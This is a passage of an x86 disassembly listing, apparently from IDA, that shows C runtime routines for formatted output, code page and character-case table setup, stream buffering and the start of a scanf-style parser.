loc_420423: ; CODE XREF: sub_41FE9F+57Ej
mov eax, esi
or eax, edi
jnz short loc_42042D
and [ebp+var_1C], 0
loc_42042D: ; CODE XREF: sub_41FE9F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_420433: ; CODE XREF: sub_41FE9F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_420443
mov eax, esi
or eax, edi
jz short loc_42047E
loc_420443: ; CODE XREF: sub_41FE9F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DC80
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DC10
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420474
add ebx, [ebp+var_2C]
loc_420474: ; CODE XREF: sub_41FE9F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_420433
; ---------------------------------------------------------------------------
loc_42047E: ; CODE XREF: sub_41FE9F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_4204A9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42049C
test eax, eax
jnz short loc_4204A9
loc_42049C: ; CODE XREF: sub_41FE9F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_4204A6: ; CODE XREF: sub_41FE9F+35Fj
; sub_41FE9F+406j ...
mov [ebp+var_C], eax
loc_4204A9: ; CODE XREF: sub_41FE9F+21Bj
; sub_41FE9F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_4205A7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_4204E1
test bh, 1
jz short loc_4204C6
mov [ebp+var_16], 2Dh
jmp short loc_4204DA
; ---------------------------------------------------------------------------
loc_4204C6: ; CODE XREF: sub_41FE9F+61Fj
test bl, 1
jz short loc_4204D1
mov [ebp+var_16], 2Bh
jmp short loc_4204DA
; ---------------------------------------------------------------------------
loc_4204D1: ; CODE XREF: sub_41FE9F+62Aj
test bl, 2
jz short loc_4204E1
mov [ebp+var_16], 20h
loc_4204DA: ; CODE XREF: sub_41FE9F+625j
; sub_41FE9F+630j
mov [ebp+var_1C], 1
loc_4204E1: ; CODE XREF: sub_41FE9F+61Aj
; sub_41FE9F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_420501
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_420615
add esp, 10h
loc_420501: ; CODE XREF: sub_41FE9F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_420646
add esp, 10h
test bl, 8
jz short loc_420533
test bl, 4
jnz short loc_420533
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_420615
add esp, 10h
loc_420533: ; CODE XREF: sub_41FE9F+67Bj
; sub_41FE9F+680j
cmp [ebp+var_24], 0
jz short loc_42057A
cmp [ebp+var_C], 0
jle short loc_42057A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_420548: ; CODE XREF: sub_41FE9F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424686
pop ecx
test eax, eax
pop ecx
jle short loc_42058F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_420646
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_420548
jmp short loc_42058F
; ---------------------------------------------------------------------------
loc_42057A: ; CODE XREF: sub_41FE9F+698j
; sub_41FE9F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_420646
add esp, 10h
loc_42058F: ; CODE XREF: sub_41FE9F+6BCj
; sub_41FE9F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_4205A7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_420615
add esp, 10h
loc_4205A7: ; CODE XREF: sub_41FE9F+68j
; sub_41FE9F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FECB
loc_4205B8: ; CODE XREF: sub_41FE9F+1Fj
; sub_41FE9F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FE9F endp
; ---------------------------------------------------------------------------
off_4205C0 dd offset loc_42003E ; DATA XREF: sub_41FE9F+6Er
dd offset loc_41FF14 ; jump table for switch statement
dd offset loc_41FF2F
dd offset loc_41FF7B
dd offset loc_41FFB2
dd offset loc_41FFBA
dd offset loc_41FFEF
dd offset loc_420082
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4205E0 proc near ; CODE XREF: sub_41FE9F+1BDp
; sub_41FE9F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_4205F9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_420604
; ---------------------------------------------------------------------------
loc_4205F9: ; CODE XREF: sub_4205E0+9j
push ecx
push [ebp+arg_0]
call sub_41FD8A
pop ecx
pop ecx
loc_420604: ; CODE XREF: sub_4205E0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_420611
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420611: ; CODE XREF: sub_4205E0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_4205E0 endp
; =============== S U B R O U T I N E =======================================
sub_420615 proc near ; CODE XREF: sub_41FE9F+65Ap
; sub_41FE9F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_420643
mov esi, [esp+8+arg_C]
loc_420626: ; CODE XREF: sub_420615+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_4205E0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_420643
mov eax, edi
dec edi
test eax, eax
jg short loc_420626
loc_420643: ; CODE XREF: sub_420615+Bj
; sub_420615+25j
pop edi
pop esi
retn
sub_420615 endp
; =============== S U B R O U T I N E =======================================
sub_420646 proc near ; CODE XREF: sub_41FE9F+670p
; sub_41FE9F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42067A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_42065C: ; CODE XREF: sub_420646+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_4205E0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42067A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_42065C
loc_42067A: ; CODE XREF: sub_420646+Cj
; sub_420646+2Bj
pop edi
pop esi
pop ebx
retn
sub_420646 endp
; =============== S U B R O U T I N E =======================================
sub_42067E proc near ; CODE XREF: sub_41FE9F+E5p
; sub_41FE9F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42067E endp
; =============== S U B R O U T I N E =======================================
sub_42068B proc near ; CODE XREF: sub_41FE9F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42068B endp
; =============== S U B R O U T I N E =======================================
sub_42069B proc near ; CODE XREF: sub_41FE9F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42069B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4206A9 proc near ; CODE XREF: sub_420A6D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420842 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4DF484
mov [ebp+arg_0], esi
jz loc_420836
xor ebx, ebx
cmp esi, ebx
jz loc_42082C
xor edx, edx
mov eax, offset dword_43F210
loc_4206DD: ; CODE XREF: sub_4206A9+41j
cmp [eax], esi
jz short loc_420753
add eax, 30h
inc edx
cmp eax, offset dword_43F300
jl short loc_4206DD
lea eax, [ebp+var_18]
push eax
push esi
call dword_4281D0 ; GetCPInfo
cmp eax, 1
jnz loc_420824
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DF5A0
cmp [ebp+var_18], 1
mov dword_4DF484, esi
rep stosd
stosb
mov dword_4DF6A4, ebx
jbe loc_420812
cmp [ebp+var_12], 0
jz loc_4207E8
lea ecx, [ebp+var_11]
loc_420730: ; CODE XREF: sub_4206A9+139j
mov dl, [ecx]
test dl, dl
jz loc_4207E8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_420741: ; CODE XREF: sub_4206A9+A8j
cmp eax, edx
ja loc_4207DC
or byte_4DF5A1[eax], 4
inc eax
jmp short loc_420741
; ---------------------------------------------------------------------------
loc_420753: ; CODE XREF: sub_4206A9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DF5A0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43F220[esi]
loc_42076F: ; CODE XREF: sub_4206A9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_4207A2
loc_420776: ; CODE XREF: sub_4206A9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_4207A2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42079B
mov edx, [ebp+var_4]
mov dl, byte_43F208[edx]
loc_420790: ; CODE XREF: sub_4206A9+F0j
or byte_4DF5A1[eax], dl
inc eax
cmp eax, edi
jbe short loc_420790
loc_42079B: ; CODE XREF: sub_4206A9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420776
loc_4207A2: ; CODE XREF: sub_4206A9+CBj
; sub_4206A9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42076F
mov eax, [ebp+arg_0]
mov dword_4DF49C, 1
push eax
mov dword_4DF484, eax
call sub_42088C
lea esi, dword_43F214[esi]
mov edi, offset dword_4DF490
movsd
movsd
pop ecx
mov dword_4DF6A4, eax
movsd
jmp short loc_420831
; ---------------------------------------------------------------------------
loc_4207DC: ; CODE XREF: sub_4206A9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_420730
loc_4207E8: ; CODE XREF: sub_4206A9+7Ej
; sub_4206A9+8Bj
push 1
pop eax
loc_4207EB: ; CODE XREF: sub_4206A9+14Fj
or byte_4DF5A1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_4207EB
push esi
call sub_42088C
pop ecx
mov dword_4DF6A4, eax
mov dword_4DF49C, 1
jmp short loc_420818
; ---------------------------------------------------------------------------
loc_420812: ; CODE XREF: sub_4206A9+74j
mov dword_4DF49C, ebx
loc_420818: ; CODE XREF: sub_4206A9+167j
xor eax, eax
mov edi, offset dword_4DF490
stosd
stosd
stosd
jmp short loc_420831
; ---------------------------------------------------------------------------
loc_420824: ; CODE XREF: sub_4206A9+51j
cmp dword_4DE0B8, ebx
jz short loc_42083A
loc_42082C: ; CODE XREF: sub_4206A9+27j
call sub_4208BF
loc_420831: ; CODE XREF: sub_4206A9+131j
; sub_4206A9+179j
call sub_4208E8
loc_420836: ; CODE XREF: sub_4206A9+1Dj
xor eax, eax
jmp short loc_42083D
; ---------------------------------------------------------------------------
loc_42083A: ; CODE XREF: sub_4206A9+181j
or eax, 0FFFFFFFFh
loc_42083D: ; CODE XREF: sub_4206A9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4206A9 endp
; =============== S U B R O U T I N E =======================================
sub_420842 proc near ; CODE XREF: sub_4206A9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DE0B8, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420862
mov dword_4DE0B8, 1
jmp dword_428060
; ---------------------------------------------------------------------------
loc_420862: ; CODE XREF: sub_420842+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420877
mov dword_4DE0B8, 1
jmp dword_4281D4
; ---------------------------------------------------------------------------
loc_420877: ; CODE XREF: sub_420842+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42088B
mov eax, dword_4DE0FC
mov dword_4DE0B8, 1
locret_42088B: ; CODE XREF: sub_420842+38j
retn
sub_420842 endp
; =============== S U B R O U T I N E =======================================
sub_42088C proc near ; CODE XREF: sub_4206A9+118p
; sub_4206A9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4208B9
sub eax, 4
jz short loc_4208B3
sub eax, 0Dh
jz short loc_4208AD
dec eax
jz short loc_4208A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4208A7: ; CODE XREF: sub_42088C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4208AD: ; CODE XREF: sub_42088C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4208B3: ; CODE XREF: sub_42088C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4208B9: ; CODE XREF: sub_42088C+9j
mov eax, 411h
retn
sub_42088C endp
; =============== S U B R O U T I N E =======================================
sub_4208BF proc near ; CODE XREF: sub_4206A9:loc_42082Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DF5A0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DF490
mov dword_4DF484, eax
mov dword_4DF49C, eax
mov dword_4DF6A4, eax
stosd
stosd
stosd
pop edi
retn
sub_4208BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4208E8 proc near ; CODE XREF: sub_4206A9:loc_420831p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DF484
call dword_4281D0 ; GetCPInfo
cmp eax, 1
jnz loc_420A21
xor eax, eax
mov esi, 100h
loc_420912: ; CODE XREF: sub_4208E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420912
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420963
push ebx
push edi
lea edx, [ebp+var_D]
loc_420931: ; CODE XREF: sub_4208E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420958
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420958: ; CODE XREF: sub_4208E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420931
pop edi
pop ebx
loc_420963: ; CODE XREF: sub_4208E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DF6A4
push dword_4DF484
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_424517
push 0
lea eax, [ebp+var_214]
push dword_4DF484
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DF6A4
call sub_423383
push 0
lea eax, [ebp+var_314]
push dword_4DF484
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DF6A4
call sub_423383
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4209DE: ; CODE XREF: sub_4208E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4209FC
or byte_4DF5A1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4209F4: ; CODE XREF: sub_4208E8+127j
mov byte_4DF4A0[eax], dl
jmp short loc_420A18
; ---------------------------------------------------------------------------
loc_4209FC: ; CODE XREF: sub_4208E8+FCj
test dl, 2
jz short loc_420A11
or byte_4DF5A1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4209F4
; ---------------------------------------------------------------------------
loc_420A11: ; CODE XREF: sub_4208E8+117j
and byte_4DF4A0[eax], 0
loc_420A18: ; CODE XREF: sub_4208E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4209DE
jmp short loc_420A6A
; ---------------------------------------------------------------------------
loc_420A21: ; CODE XREF: sub_4208E8+1Dj
xor eax, eax
mov esi, 100h
loc_420A28: ; CODE XREF: sub_4208E8+180j
cmp eax, 41h
jb short loc_420A46
cmp eax, 5Ah
ja short loc_420A46
or byte_4DF5A1[eax], 10h
mov cl, al
add cl, 20h
loc_420A3E: ; CODE XREF: sub_4208E8+174j
mov byte_4DF4A0[eax], cl
jmp short loc_420A65
; ---------------------------------------------------------------------------
loc_420A46: ; CODE XREF: sub_4208E8+143j
; sub_4208E8+148j
cmp eax, 61h
jb short loc_420A5E
cmp eax, 7Ah
ja short loc_420A5E
or byte_4DF5A1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420A3E
; ---------------------------------------------------------------------------
loc_420A5E: ; CODE XREF: sub_4208E8+161j
; sub_4208E8+166j
and byte_4DF4A0[eax], 0
loc_420A65: ; CODE XREF: sub_4208E8+15Cj
inc eax
cmp eax, esi
jb short loc_420A28
loc_420A6A: ; CODE XREF: sub_4208E8+137j
pop esi
leave
retn
sub_4208E8 endp
; =============== S U B R O U T I N E =======================================
sub_420A6D proc near ; CODE XREF: sub_423756+9p
; sub_4237AE+Dp ...
cmp dword_4DF6D4, 0
jnz short locret_420A88
push 0FFFFFFFDh
call sub_4206A9
pop ecx
mov dword_4DF6D4, 1
locret_420A88: ; CODE XREF: sub_420A6D+7j
retn
sub_420A6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420A89 proc near ; CODE XREF: sub_41C1A1+2Bp
; sub_41C1A1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DF49C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420AAD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BDC0
add esp, 0Ch
jmp short loc_420B10
; ---------------------------------------------------------------------------
loc_420AAD: ; CODE XREF: sub_420A89+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420AF2
mov ecx, [ebp+arg_4]
loc_420AB8: ; CODE XREF: sub_420A89+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DF5A1[esi], 4
mov [edi], al
jz short loc_420ADC
inc edi
inc ecx
test edx, edx
jz short loc_420AE8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420AEE
jmp short loc_420AE2
; ---------------------------------------------------------------------------
loc_420ADC: ; CODE XREF: sub_420A89+3Ej
inc edi
inc ecx
test al, al
jz short loc_420AF2
loc_420AE2: ; CODE XREF: sub_420A89+51j
test edx, edx
jnz short loc_420AB8
jmp short loc_420AF2
; ---------------------------------------------------------------------------
loc_420AE8: ; CODE XREF: sub_420A89+44j
and byte ptr [edi-1], 0
jmp short loc_420AF2
; ---------------------------------------------------------------------------
loc_420AEE: ; CODE XREF: sub_420A89+4Fj
and byte ptr [edi-2], 0
loc_420AF2: ; CODE XREF: sub_420A89+2Aj
; sub_420A89+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420B0D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420B0D: ; CODE XREF: sub_420A89+6Fj
mov eax, [ebp+arg_0]
loc_420B10: ; CODE XREF: sub_420A89+22j
pop edi
pop ebp
retn
sub_420A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B13 proc near ; CODE XREF: sub_41C38D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE0EC, 0
push ebx
jnz short loc_420B3E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420BDC
cmp eax, 7Ah
jg loc_420BDC
sub eax, 20h
jmp loc_420BDC
; ---------------------------------------------------------------------------
loc_420B3E: ; CODE XREF: sub_420B13+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420B71
cmp dword_43F1F4, 1
jle short loc_420B5E
push 2
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_420B69
; ---------------------------------------------------------------------------
loc_420B5E: ; CODE XREF: sub_420B13+3Dj
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, 2
loc_420B69: ; CODE XREF: sub_420B13+49j
test eax, eax
jnz short loc_420B71
loc_420B6D: ; CODE XREF: sub_420B13+AFj
mov eax, ebx
jmp short loc_420BDC
; ---------------------------------------------------------------------------
loc_420B71: ; CODE XREF: sub_420B13+34j
; sub_420B13+58j
mov edx, off_43EFE8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420B94
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420B9D
; ---------------------------------------------------------------------------
loc_420B94: ; CODE XREF: sub_420B13+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420B9D: ; CODE XREF: sub_420B13+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DE0EC
call sub_423383
add esp, 20h
test eax, eax
jz short loc_420B6D
cmp eax, 1
jnz short loc_420BCF
movzx eax, [ebp+var_4]
jmp short loc_420BDC
; ---------------------------------------------------------------------------
loc_420BCF: ; CODE XREF: sub_420B13+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420BDC: ; CODE XREF: sub_420B13+14j
; sub_420B13+1Dj ...
pop ebx
leave
retn
sub_420B13 endp
; =============== S U B R O U T I N E =======================================
sub_420BDF proc near ; CODE XREF: sub_41C5AC+1Dp
; sub_41DBBE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DE030, ecx
mov eax, offset dword_43F300
loc_420BF0: ; CODE XREF: sub_420BDF+1Ej
cmp ecx, [eax]
jz short loc_420C14
add eax, 8
inc edx
cmp eax, offset dword_43F468
jl short loc_420BF0
cmp ecx, 13h
jb short loc_420C21
cmp ecx, 24h
ja short loc_420C21
mov dword_4DE02C, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420C14: ; CODE XREF: sub_420BDF+13j
mov eax, dword_43F304[edx*8]
mov dword_4DE02C, eax
retn
; ---------------------------------------------------------------------------
loc_420C21: ; CODE XREF: sub_420BDF+23j
; sub_420BDF+28j
cmp ecx, 0BCh
jb short loc_420C3B
cmp ecx, 0CAh
mov dword_4DE02C, 8
jbe short locret_420C45
loc_420C3B: ; CODE XREF: sub_420BDF+48j
mov dword_4DE02C, 16h
locret_420C45: ; CODE XREF: sub_420BDF+5Aj
retn
sub_420BDF endp
; =============== S U B R O U T I N E =======================================
sub_420C46 proc near ; CODE XREF: sub_41C5D6+8p
; sub_41D9BC+9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_424660
test eax, eax
pop ecx
jz short loc_420CCF
cmp esi, offset dword_43F5D8
jnz short loc_420C64
xor eax, eax
jmp short loc_420C6F
; ---------------------------------------------------------------------------
loc_420C64: ; CODE XREF: sub_420C46+18j
cmp esi, offset dword_43F5F8
jnz short loc_420CCF
push 1
pop eax
loc_420C6F: ; CODE XREF: sub_420C46+1Cj
inc dword_4DE104
test word ptr [esi+0Ch], 10Ch
jnz short loc_420CCF
cmp dword_4DE0BC[eax*4], 0
push ebx
push edi
lea edi, ds:4DE0BCh[eax*4]
mov ebx, 1000h
jnz short loc_420CB5
push ebx
call sub_41BCA5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420CB5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420CC2
; ---------------------------------------------------------------------------
loc_420CB5: ; CODE XREF: sub_420C46+4Dj
; sub_420C46+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420CC2: ; CODE XREF: sub_420C46+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420CCF: ; CODE XREF: sub_420C46+10j
; sub_420C46+24j ...
xor eax, eax
pop esi
retn
sub_420C46 endp
; =============== S U B R O U T I N E =======================================
sub_420CD3 proc near ; CODE XREF: sub_41C5D6+24p
; sub_41D9BC+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420CFD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420D0E
push esi
call sub_41E38B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420CFD: ; CODE XREF: sub_420CD3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420D0E
push eax
call sub_41E38B
pop ecx
loc_420D0E: ; CODE XREF: sub_420CD3+10j
; sub_420CD3+32j
pop esi
retn
sub_420CD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D10 proc near ; CODE XREF: sub_41CE15+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_421716
mov edi, [ebp+arg_0]
jmp short loc_420D3F
; ---------------------------------------------------------------------------
loc_420D3A: ; CODE XREF: sub_420D10+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420D3F: ; CODE XREF: sub_420D10+28j
cmp dword_43F1F4, 1
jle short loc_420D57
movzx eax, al
push 8
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_420D66
; ---------------------------------------------------------------------------
loc_420D57: ; CODE XREF: sub_420D10+36j
mov ecx, off_43EFE8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420D66: ; CODE XREF: sub_420D10+45j
cmp eax, ebx
jz short loc_420DA0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42179D
pop ecx
pop ecx
push eax
call sub_421786
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DE70
add esp, 0Ch
loc_420D8E: ; CODE XREF: sub_420D10+8Ej
test eax, eax
jz short loc_420DA0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DE70
pop ecx
jmp short loc_420D8E
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: sub_420D10+58j
; sub_420D10+80j
cmp byte ptr [esi], 25h
jnz loc_421682
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
